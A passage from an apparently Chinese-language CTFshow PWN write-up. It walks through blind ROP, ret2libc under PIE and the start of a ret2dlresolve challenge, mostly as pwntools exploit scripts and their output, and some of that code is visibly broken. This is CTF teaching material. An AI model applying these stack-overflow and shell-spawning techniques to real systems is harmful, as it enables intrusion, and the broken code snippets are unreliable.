CTFshow-PWN ! Do you know who is daniu?\n&quot;</span>)  </span><br><span class="line">            <span class="comment"># 构造 payload，发送 i 个 &#x27;a&#x27;</span></span><br><span class="line">            io.send(i * <span class="string">b&#x27;a&#x27;</span>)</span><br><span class="line">            data = io.recv()</span><br><span class="line">            <span class="built_in">print</span>(data)</span><br><span class="line">            io.close()  </span><br><span class="line">            <span class="comment"># 判断返回数据，若不是正常的 &#x27;No passwd&#x27; 开头，说明溢出</span></span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> data.startswith(<span class="string">b&#x27;No passwd&#x27;</span>):  </span><br><span class="line">                <span class="keyword">return</span> i - <span class="number">1</span> <span class="comment">#当已经无法正常返回的时候说明已经破坏到了返回值故实际需填充的长度需减一</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="comment"># 没溢出，继续增大长度尝试</span></span><br><span class="line">                i += <span class="number">1</span>  </span><br><span class="line">        <span class="keyword">except</span> EOFError:</span><br><span class="line">            <span class="comment"># 程序崩溃，说明溢出，返回当前 i-1</span></span><br><span class="line">            io.close()  </span><br><span class="line">            <span class="keyword">return</span> i - <span class="number">1</span>  </span><br><span class="line"></span><br><span class="line">buf_length = Get_buf_length()  </span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;最终探测到的缓冲区长度为: <span class="subst">&#123;buf_length&#125;</span>&quot;</span>)  </span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Opening connection to pwn.challenge.ctf.show on port 28227: Done</span><br><span class="line">b<span class="string">&#x27;No passwd,See you!\n&#x27;</span></span><br><span class="line">[*] Closed connection to pwn.challenge.ctf.show port 28227</span><br><span class="line">...</span><br><span class="line">最终探测到的缓冲区长度为: 72</span><br></pre></td></tr></table></figure></li><li><p>第二步(获取stop_gadget)：<br>在寻找通用 gadget 之前，我们需要一个 stop gadget。一般情况下，当我们把返回地址覆盖后，程序有很大的几率会挂掉，因为所覆盖的地址可能并不是合法的，所以我们需要一个能够使程序正常返回的地址，称作 stop gadget，这一步至关重要。stop gadget 可能不止一个，这里我们之间返回找到的第一个即可。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">buf_length=<span class="number">72</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">Get_Stop_Addr</span>():</span><br><span class="line">address = <span class="number">0x400000</span> </span><br><span class="line">    <span class="comment">#在 Linux 系统中，32 位 ELF 程序默认加载基地址通常是 0x8048000，而 64 位 ELF 程序默认加载基地址通常是 0x400000,这是 CTF PWN 题中寻找有效地址（如 gadget、函数地址）的常见起点选择</span></span><br><span class="line"><span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(address))</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">io = remote(<span class="string">&#x27;pwn.challenge.ctf.show&#x27;</span>,<span class="number">28227</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Do you know who is daniu?\n&#x27;</span>)</span><br><span class="line">payload = <span class="string">b&#x27;a&#x27;</span>*buf_length + p64(address)</span><br><span class="line">io.send(payload)</span><br><span class="line">output = io.recv()</span><br><span class="line"><span class="keyword">if</span> <span class="keyword">not</span> output.startswith(<span class="string">b&#x27;Welcome to CTFshow-PWN ! Do you know who is daniu?&#x27;</span>):</span><br><span class="line">io.close()</span><br><span class="line">address += <span class="number">1</span></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"><span class="keyword">return</span> address</span><br><span class="line"><span class="keyword">except</span> EOFError:</span><br><span class="line">address += <span class="number">1</span></span><br><span class="line">io.close()</span><br><span class="line">stop_gadgets = Get_Stop_Addr()  </span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;最终确定的stop gadget地址: <span class="subst">&#123;<span class="built_in">hex</span>(stop_gadgets)&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">0x400700</span><br><span class="line">...</span><br><span class="line">0x400727</span><br><span class="line">[+] Opening connection to pwn.challenge.ctf.show on port 28227: Done</span><br><span class="line">[*] Closed connection to pwn.challenge.ctf.show port 28227</span><br><span class="line">0x400728</span><br><span class="line">[+] Opening connection to pwn.challenge.ctf.show on port 28227: Done</span><br><span class="line">最终探测到的缓冲区长度为: 0x400728</span><br><span class="line">[*] Closed connection to pwn.challenge.ctf.show port 28227</span><br></pre></td></tr></table></figure></li><li><p>第三步(寻找useful gadget)：<br>有了 stop gadget，那些原本会导致程序崩溃的地址还是一样会导致崩溃，但那些正常返回的地址则会通过 stop gadget 进入被挂起的状态。下面我们就可以寻找其他可利用的 gadget，由于是 64 位程序，可以考虑使用通用 gadget。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">buf_length=<span class="number">72</span></span><br><span class="line">stop_gadgets=<span class="number">0x400728</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">Get_gadgets_Addr</span>(<span class="params">buf_length, stop_gadgets</span>):</span><br><span class="line">addr = stop_gadgets</span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">sleep(<span class="number">0.1</span>)</span><br><span class="line">addr += <span class="number">1</span></span><br><span class="line">payload = <span class="string">b&quot;A&quot;</span> * buf_length</span><br><span class="line">payload += p64(addr)</span><br><span class="line">payload += p64(<span class="number">1</span>) + p64(<span class="number">2</span>) + p64(<span class="number">3</span>) + p64(<span class="number">4</span>) + p64(<span class="number">5</span>) + p64(<span class="number">6</span>)</span><br><span class="line">payload += p64(stop_gadgets)</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">io = remote(<span class="string">&#x27;pwn.challenge.ctf.show&#x27;</span>,<span class="number">28183</span>)</span><br><span class="line">io.recvline()</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recvline()</span><br><span class="line">io.close()</span><br><span class="line">log.info(<span class="string">&quot;find address: 0x%x&quot;</span> % addr)</span><br><span class="line"><span class="keyword">try</span>: <span class="comment"># check</span></span><br><span class="line">payload = <span class="string">b&quot;A&quot;</span>* buf_length</span><br><span class="line">payload += p64(addr)</span><br><span class="line">payload += p64(<span class="number">1</span>) + p64(<span class="number">2</span>) + p64(<span class="number">3</span>) + p64(<span class="number">4</span>) + p64(<span class="number">5</span>) + p64(<span class="number">6</span>)</span><br><span class="line">io = remote(<span class="string">&#x27;pwn.challenge.ctf.show&#x27;</span>,<span class="number">28183</span>)</span><br><span class="line">io.recvline()</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recvline()</span><br><span class="line">io.close()</span><br><span class="line">log.info(<span class="string">&quot;bad address: 0x%x&quot;</span> % addr)</span><br><span class="line"><span class="keyword">except</span>:</span><br><span class="line">io.close()</span><br><span class="line">log.info(<span class="string">&quot;gadget address: 0x%x&quot;</span> % addr)</span><br><span class="line"><span class="keyword">return</span> addr</span><br><span class="line"><span class="keyword">except</span> EOFError <span class="keyword">as</span> e:</span><br><span class="line">io.close()</span><br><span class="line">log.info(<span class="string">&quot;bad: 0x%x&quot;</span> % addr)</span><br><span class="line"><span class="keyword">except</span>:</span><br><span class="line">log.info(<span class="string">&quot;Can&#x27;t connect&quot;</span>)</span><br><span class="line">addr -=<span class="number">1</span></span><br><span class="line">brop_gadgets = Get_gadgets_Addr(buf_length, stop_gadgets)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;最终确定的stop gadget地址: <span class="subst">&#123;<span class="built_in">hex</span>(brop_gadgets)&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">  </span><br></pre></td></tr></table></figure></li><li><p>第四步(获取puts_plt的地址)：<br>plt 表具有比较规整的结构，每一个表项都是 16 字节，而在每个表项的 6 字节偏移处，是该表项对应函数的解析路径，所以先得到 plt 地址，然后 dump 出内存，就可以找到 got 地址。这里我们使用 puts 函数来 dump 内存，比起 write，它只需要一个参数，很方便，这里让 puts 打印出 0x400000 地址处的内容，因为这里通常是程序头的位置（关闭PIE），且前四个字符为 \x7fELF ，方便进行验证。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">Get_puts_plt</span>(<span class="params">buf_length, stop_gadgets, brop_gadgets</span>):</span><br><span class="line">pop_rdi = gadgets_addr + <span class="number">9</span> <span class="comment"># pop rdi; ret;</span></span><br><span class="line">addr = stop_gadgets</span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">sleep(<span class="number">0.1</span>)</span><br><span class="line">addr += <span class="number">1</span></span><br><span class="line">payload = <span class="string">b&quot;A&quot;</span>*buf_length</span><br><span class="line">payload += p64(pop_rdi)</span><br><span class="line">payload += p64(<span class="number">0x400000</span>)</span><br><span class="line">payload += p64(addr)</span><br><span class="line">payload += p64(stop_gadgets)</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">io = remote(<span class="string">&#x27;pwn.challenge.ctf.show&#x27;</span>,<span class="number">28235</span>)</span><br><span class="line">io.recvline()</span><br><span class="line">io.sendline(payload)</span><br><span class="line"><span class="keyword">if</span> io.recv().startswith(<span class="string">b&quot;\x7fELF&quot;</span>):</span><br><span class="line">log.info(<span class="string">&quot;puts@plt address: 0x%x&quot;</span> % addr)</span><br><span class="line">io.close()</span><br><span class="line"><span class="keyword">return</span> addr</span><br><span class="line">log.info(<span class="string">&quot;bad: 0x%x&quot;</span> % addr)</span><br><span class="line">io.close()</span><br><span class="line"><span class="keyword">except</span> EOFError <span class="keyword">as</span> e:</span><br><span class="line">io.close()</span><br><span class="line">log.info(<span class="string">&quot;bad: 0x%x&quot;</span> % addr)</span><br><span class="line"><span class="keyword">except</span>:</span><br><span class="line">log.info(<span class="string">&quot;Can&#x27;t connect&quot;</span>)</span><br><span class="line">addr -= <span class="number">1</span></span><br><span class="line">puts_plt=Get_puts_plt(buf_length, stop_gadgets, brop_gadgets)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;最终探测到的缓冲区长度为: <span class="subst">&#123;puts_plt&#125;</span>&quot;</span>) </span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">[*] puts@plt address: 0x400550</span><br></pre></td></tr></table></figure></li><li><p>remote dump<br>有了 puts，有了 gadget，就可以着手 dump 程序了<br>我们知道 puts 函数通过<code>\x00</code>进行截断，并且会在每一次输出末尾加上换行符<code>\x0a</code>，所以有一些特殊情况需要做一些处理，比如单独的<code>\x00</code>、<code>\x0a</code>等，首先当然是先去掉末尾 puts 自动加上的 ，然后如果 recv 到一个 ，说明内存中是<code>\x00</code>，如果 recv 到一个<code>\n</code>，说明内存中是<code>\x0a</code>。<br><code>p.recv(timeout=0.1)</code>是由于函数本身的设定，如果有<code>\n</code>，它很可能在收到第一个 时就返回了，加上参数可以让它全部接收完。<br>这里选择从<code>0x400000</code>dump到<code>0x401000</code>，足够了，你还可以 dump 下 data 段的数据，大概从<code>0x600000</code>开始。</p></li><li><p>puts@got<br>拿到 dump 下来的文件，使用 Radare2 打开，使用参数 -B 指定程序基地址，然后反汇编<code>puts@plt</code>的位置 ，于是我们就得到了 puts@got 地址<code>0x602018</code>。该表中还有其他几个函数，根据程序的功能大概可以猜到，无非就是 setbuf、read 之类的，在后面的过程中如果实在无法确定 libc，这些信息可能会有用。</p></li><li><p>Attack<br>后面的过程和无 libc 的利用差不多了，先使用 puts 打印出其在内存中的地址，然后使用LibcSearcher里查找相应的 libc，也就是目标机器上的 libc，通过偏移计算出<code>system()</code>函数和字符串<code>/bin/sh</code>的地址，构造 payload 就可以了。<br>信息获取的差不多就可以直接打啦</p></li></ul><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line">io = remote(<span class="string">&#x27;pwn.challenge.ctf.show&#x27;</span>,<span class="number">28274</span>)</span><br><span class="line">buf_length = <span class="number">72</span></span><br><span class="line">stop_gadgets = <span class="number">0x400728</span></span><br><span class="line">brop_gadgets = <span class="number">0x4007ba</span></span><br><span class="line">pop_rdi_ret = <span class="number">0x400843</span></span><br><span class="line">puts_plt = <span class="number">0x400550</span></span><br><span class="line">puts_got = <span class="number">0x602018</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">Dump_Memory</span>(<span class="params">buf_length, stop_gadgets, brop_gadgets, puts_plt, start_addr, end_addr</span>):</span><br><span class="line">pop_rdi = gadgets_addr + <span class="number">9</span> <span class="comment"># pop rdi; ret</span></span><br><span class="line">result = <span class="string">&quot;&quot;</span></span><br><span class="line"><span class="keyword">while</span> start_addr &lt; end_addr:</span><br><span class="line"><span class="comment">#print result.encode(&#x27;hex&#x27;)</span></span><br><span class="line">sleep(<span class="number">0.1</span>)</span><br><span class="line">payload = <span class="string">b&quot;A&quot;</span>*buf_length</span><br><span class="line">payload += p64(pop_rdi)</span><br><span class="line">payload += p64(start_addr)</span><br><span class="line">payload += p64(puts_plt)</span><br><span class="line">payload += p64(stop_gadgets)</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">io = remote(<span class="string">&#x27;pwn.challenge.ctf.show&#x27;</span>,<span class="number">28235</span>)</span><br><span class="line">io.recvline()</span><br><span class="line">io.sendline(payload)</span><br><span class="line">data = io.recv(timeout=<span class="number">0.1</span>) <span class="comment"># timeout makes sure to recive all bytes</span></span><br><span class="line"><span class="keyword">if</span> data == <span class="string">b&quot;\n&quot;</span>:</span><br><span class="line">data = <span class="string">b&quot;\x00&quot;</span></span><br><span class="line"><span class="keyword">elif</span> data[-<span class="number">1</span>] == <span class="string">b&quot;\n&quot;</span>:</span><br><span class="line">data = data[:-<span class="number">1</span>]</span><br><span class="line">log.info(<span class="string">&quot;leaking: 0x%x --&gt; %s&quot;</span> % (start_addr,(data <span class="keyword">or</span> <span class="string">&#x27;&#x27;</span>).encode(<span class="string">&#x27;hex&#x27;</span>)))</span><br><span class="line">result += data</span><br><span class="line">start_addr += <span class="built_in">len</span>(data)</span><br><span class="line">io.close()</span><br><span class="line"><span class="keyword">except</span>:</span><br><span class="line">log.info(<span class="string">&quot;Can&#x27;t connect&quot;</span>)</span><br><span class="line"><span class="keyword">return</span> result</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">&#x27;Do you know who is daniu?\n&#x27;</span>)</span><br><span class="line">payload = <span class="string">b&#x27;a&#x27;</span> * buf_length</span><br><span class="line">payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)</span><br><span class="line">payload += p64(stop_gadgets)</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span> * buf_length + p64(pop_rdi_ret) + p64(bin_sh) + p64(system</span><br><span class="line">io.sendline(payload)</span><br><span class="line">puts = u64(io.recvuntil(<span class="string">&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="built_in">print</span> <span class="built_in">hex</span>(puts)</span><br><span class="line">libc = LibcSearcher(<span class="string">&#x27;puts&#x27;</span>,puts)</span><br><span class="line">libc_base = puts - libc.dump(<span class="string">&#x27;puts&#x27;</span>)</span><br><span class="line">system = libc_base + libc.dump(<span class="string">&#x27;system&#x27;</span>)</span><br><span class="line">bin_sh = libc_base + libc.dump(<span class="string">&#x27;str_bin_sh&#x27;</span>)</span><br><span class="line">)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"></span><br></pre></td></tr></table></figure><h2 id="pwn81-ubuntu18-04"><a href="#pwn81-ubuntu18-04" class="headerlink" title="pwn81(ubuntu18.04)"></a>pwn81(ubuntu18.04)</h2><h6 id="Hint：ROP变种"><a href="#Hint：ROP变种" class="headerlink" title="Hint：ROP变种"></a>Hint：ROP变种</h6><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>64位仅关闭Canary</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">void</span> *v3; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">void</span> *handle; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  logo();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Maybe it&#x27;s simple,O.o&quot;</span>);</span><br><span class="line">  handle = dlopen(<span class="string">&quot;libc.so.6&quot;</span>, <span class="number">258</span>);</span><br><span class="line">  v3 = dlsym(handle, <span class="string">&quot;system&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%p\n&quot;</span>, v3);</span><br><span class="line">  ctfshow();</span><br><span class="line">  write(<span class="number">1</span>, <span class="string">&quot;Hello CTFshow!\n&quot;</span>, <span class="number">0xFu</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到程序先打开动态链接库“libc.so.6”,然后回去其中的system函数地址，再打印出system函数的地址</p><p>然后再执行ctfshow函数，再使用write函数打印出“Hello CTFshow!”</p><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">ssize_t</span> <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">128</span>]; <span class="comment">// [rsp+0h] [rbp-80h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x100u</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>明显的栈溢出漏洞了，与之前不同的是</p><p>这次开启了地址随机化，我们得到的地址都并不是真实地址，而是一个相对偏移：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:00000000000009A1 ; int __fastcall main(int argc, const char **argv, const char **envp)</span><br><span class="line">.text:00000000000009A1                 public main</span><br><span class="line">.text:00000000000009A1 main            proc near               ; DATA XREF: _start+1D↑o</span><br><span class="line">.text:00000000000009A1</span><br><span class="line">.text:00000000000009A1 handle          = qword ptr -8</span><br><span class="line">.text:00000000000009A1</span><br><span class="line">.text:00000000000009A1 ; __unwind &#123;</span><br><span class="line">.text:00000000000009A1                 push    rbp</span><br><span class="line">.text:00000000000009A2                 mov     rbp, rsp</span><br><span class="line">.text:00000000000009A5                 sub     rsp, 10h</span><br><span class="line">.text:00000000000009A9                 mov     eax, 0</span><br><span class="line">.text:00000000000009AE                 call    init</span><br><span class="line">.text:00000000000009B3                 mov     eax, 0</span><br><span class="line">.text:00000000000009B8                 call    logo</span><br><span class="line">.text:00000000000009BD                 lea     rdi, aMaybeItSSimple ; &quot;Maybe it&#x27;s simple,O.o&quot;</span><br><span class="line">.text:00000000000009C4                 call    _puts</span><br><span class="line">.text:00000000000009C9                 mov     esi, 102h       ; mode</span><br><span class="line">.text:00000000000009CE                 lea     rdi, file       ; &quot;libc.so.6&quot;</span><br><span class="line">.text:00000000000009D5                 call    _dlopen</span><br><span class="line">.text:00000000000009DA                 mov     [rbp+handle], rax</span><br><span class="line">.text:00000000000009DE                 mov     rax, [rbp+handle]</span><br><span class="line">.text:00000000000009E2                 lea     rsi, name       ; &quot;system&quot;</span><br><span class="line">.text:00000000000009E9                 mov     rdi, rax        ; handle</span><br><span class="line">.text:00000000000009EC                 call    _dlsym</span><br><span class="line">.text:00000000000009F1                 mov     rsi, rax</span><br><span class="line">.text:00000000000009F4                 lea     rdi, format     ; &quot;%p\n&quot;</span><br><span class="line">.text:00000000000009FB                 mov     eax, 0</span><br><span class="line">.text:0000000000000A00                 call    _printf</span><br><span class="line">.text:0000000000000A05                 mov     eax, 0</span><br><span class="line">.text:0000000000000A0A                 call    ctfshow</span><br><span class="line">.text:0000000000000A0F                 mov     edx, 0Fh        ; n</span><br><span class="line">.text:0000000000000A14                 lea     rsi, aHelloCtfshow ; &quot;Hello CTFshow!\n&quot;</span><br><span class="line">.text:0000000000000A1B                 mov     edi, 1          ; fd</span><br><span class="line">.text:0000000000000A20                 call    _write</span><br><span class="line">.text:0000000000000A25                 mov     eax, 0</span><br><span class="line">.text:0000000000000A2A                 leave</span><br><span class="line">.text:0000000000000A2B                 retn</span><br><span class="line">.text:0000000000000A2B ; &#125; // starts at 9A1</span><br><span class="line">.text:0000000000000A2B main            endp</span><br></pre></td></tr></table></figure><p>做法其实跟之前一样，不同的仅仅是需要在前面加上libc_base 也就是先算出libc中的基址</p><p>而已知程序会打印出system函数，那么问题也就迎刃而解了</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only <span class="string">&quot;pop|ret&quot;</span> | grep <span class="string">&quot;rdi&quot;</span></span><br><span class="line">$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only <span class="string">&quot;ret&quot;</span> | less</span><br><span class="line">0x00000000000008aa : ret</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&quot;Maybe it&#x27;s simple,O.o\n&quot;</span>)</span><br><span class="line">system = <span class="built_in">int</span>(io.recvline(),<span class="number">16</span>)<span class="comment">#转换为16进制整数</span></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(system))</span><br><span class="line">libc_base = system - libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh = libc_base + <span class="built_in">next</span>(libc.search(<span class="string">b&#x27;/bin/sh&#x27;</span>))</span><br><span class="line">pop_rdi = libc_base + <span class="number">0x2164f</span></span><br><span class="line">ret = libc_base + <span class="number">0x8aa</span></span><br><span class="line">payload = cyclic(<span class="number">0x80</span>+<span class="number">8</span>) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)</span><br><span class="line">io.send(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 122</span><br><span class="line">[*] <span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">0x7f1477a69420</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br></pre></td></tr></table></figure><h2 id="pwn82-32-位-dl-runtime-resolve-NO-RELRO"><a href="#pwn82-32-位-dl-runtime-resolve-NO-RELRO" class="headerlink" title="pwn82 (32 位 dl_runtime_resolve , NO-RELRO )"></a>pwn82 (32 位 dl_runtime_resolve , NO-RELRO )</h2><h6 id="Hint：高级ROP-32-位-NO-RELRO"><a href="#Hint：高级ROP-32-位-NO-RELRO" class="headerlink" title="Hint：高级ROP 32 位 NO-RELRO"></a>Hint：高级ROP 32 位 NO-RELRO</h6><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      No RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位仅开启NX保护，可以看到RELRO保护是完全关闭状态</p><p>具体利用思路如下：</p><p>首先修改.dynamic节中字符串表的地址为伪造地址，然后再伪造的地址处构造好字符串表，将read字符串替换为system字符串，再在特定位置读取&#x2F;bin&#x2F;sh字符串，继续调用read函数的plt的第二条指令，触发 _dl_runtime_resolve 进行函数解析，从而执行 system 函数。</p><p>这种情况下来说相对简单点</p><p>82-85题为ret2dlresolve高级栈溢出技巧，建议大家可以跟着CTFwiki一步步自行跟着构造，<a href="https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/">https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/</a></p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">size_t</span> n; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">char</span> buf[<span class="number">112</span>]; <span class="comment">// [esp+0h] [ebp-7Ch] BYREF</span></span><br><span class="line">  <span class="type">int</span> *p_argc; <span class="comment">// [esp+70h] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  p_argc = &amp;argc;</span><br><span class="line">  <span class="built_in">strcpy</span>(buf, <span class="string">&quot;Welcome to CTFshowPWN!\n&quot;</span>);</span><br><span class="line">  <span class="built_in">memset</span>(&amp;buf[<span class="number">24</span>], <span class="number">0</span>, <span class="number">0x4Cu</span>);</span><br><span class="line">  setbuf(<span class="built_in">stdout</span>, buf);</span><br><span class="line">  n = <span class="built_in">strlen</span>(buf);</span><br><span class="line">  write(<span class="number">1</span>, buf, n);</span><br><span class="line">  show();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *<span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">36</span>]; <span class="comment">// [esp+0h] [ebp-28h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> gets(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用 gets 函数从标准输入读取一行字符串，并将其存储在 s 数组中。然后，返回指向 s 的指针。 gets 函数是非常不安全的，容易导致缓冲区溢出漏洞。因为它无法限制输入的长度，可能会超出s 数组的容量，导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞，s距ebp仅有0x28，而gets不限制输入长度。</p><p>还在程序中找到了get_flag函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">get_flag</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">64</span>]; <span class="comment">// [esp+Ch] [ebp-4Ch] BYREF</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+4Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(s, <span class="number">64</span>, stream);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">flag=elf.sym[<span class="string">&#x27;get_flag&#x27;</span>]</span><br><span class="line">payload=cyclic(<span class="number">0x28</span>+<span 